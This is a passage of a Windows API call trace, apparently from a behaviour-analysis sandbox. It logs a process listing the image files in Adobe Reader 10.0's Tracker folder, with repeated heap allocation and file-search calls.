ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x392, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_joined.gif", cAlternateFileName="")) returned 1 [0083.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216fc0 [0083.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b3590 [0083.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7780) returned 0x12c9f00 [0083.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12c27b8) returned 1 [0083.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.754] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_sent.gif", cAlternateFileName="")) returned 1 [0083.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216fe0 [0083.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b3698 [0083.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.755] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_super.gif", cAlternateFileName="")) returned 1 [0083.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217000 [0083.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b37a0 [0083.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.757] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_browser.gif", cAlternateFileName="")) returned 1 [0083.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217020 [0083.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b38a8 [0083.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.759] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x57d, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_email.gif", cAlternateFileName="")) returned 1 [0083.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217040 [0083.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b39b0 [0083.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.760] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_same_reviewers.gif", cAlternateFileName="")) returned 1 [0083.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217060 [0083.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b3ab8 [0083.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.763] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x555, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_shared.gif", cAlternateFileName="")) returned 1 [0083.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217080 [0083.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b3bc0 [0083.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.765] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss.gif", cAlternateFileName="")) returned 1 [0083.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12170a0 [0083.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0083.766] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.766] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x0, cFileName="server_issue.gif", cAlternateFileName="")) returned 1 [0083.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12170c0 [0083.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b3cc8 [0083.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.768] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="server_lg.gif", cAlternateFileName="")) returned 1 [0083.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12170e0 [0083.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b3dd0 [0083.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.770] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="server_ok.gif", cAlternateFileName="")) returned 1 [0083.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217100 [0083.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b3ed8 [0083.771] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.771] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x393, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop_collection_data.gif", cAlternateFileName="")) returned 1 [0083.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217120 [0083.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b3fe0 [0083.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.773] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x38a, dwReserved0=0x0, dwReserved1=0x0, cFileName="submission_history.gif", cAlternateFileName="")) returned 1 [0083.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217140 [0083.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b40e8 [0083.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.775] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="tl.gif", cAlternateFileName="")) returned 1 [0083.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217160 [0083.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c8d0 [0083.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.776] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr.gif", cAlternateFileName="")) returned 1 [0083.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.778] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x489, dwReserved0=0x0, dwReserved1=0x0, cFileName="trash.gif", cAlternateFileName="")) returned 1 [0083.778] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x338, dwReserved0=0x0, dwReserved1=0x0, cFileName="turnOffNotificationInAcrobat.gif", cAlternateFileName="")) returned 1 [0083.778] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="turnOffNotificationInTray.gif", cAlternateFileName="")) returned 1 [0083.778] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x33f, dwReserved0=0x0, dwReserved1=0x0, cFileName="turnOnNotificationInAcrobat.gif", cAlternateFileName="")) returned 1 [0083.778] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="turnOnNotificationInTray.gif", cAlternateFileName="")) returned 1 [0083.778] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x0, cFileName="warning.gif", cAlternateFileName="")) returned 1 [0083.778] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x0, cFileName="warning.gif", cAlternateFileName="")) returned 0 [0083.778] GetLastError () returned 0x12 [0083.778] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0083.779] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801fc020, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8026e440, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_reviewer.gif", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53, dwReserved0=0x0, dwReserved1=0x0, cFileName="bl.gif", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0x0, dwReserved1=0x0, cFileName="br.gif", cAlternateFileName="")) returned 1 [0083.779] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, 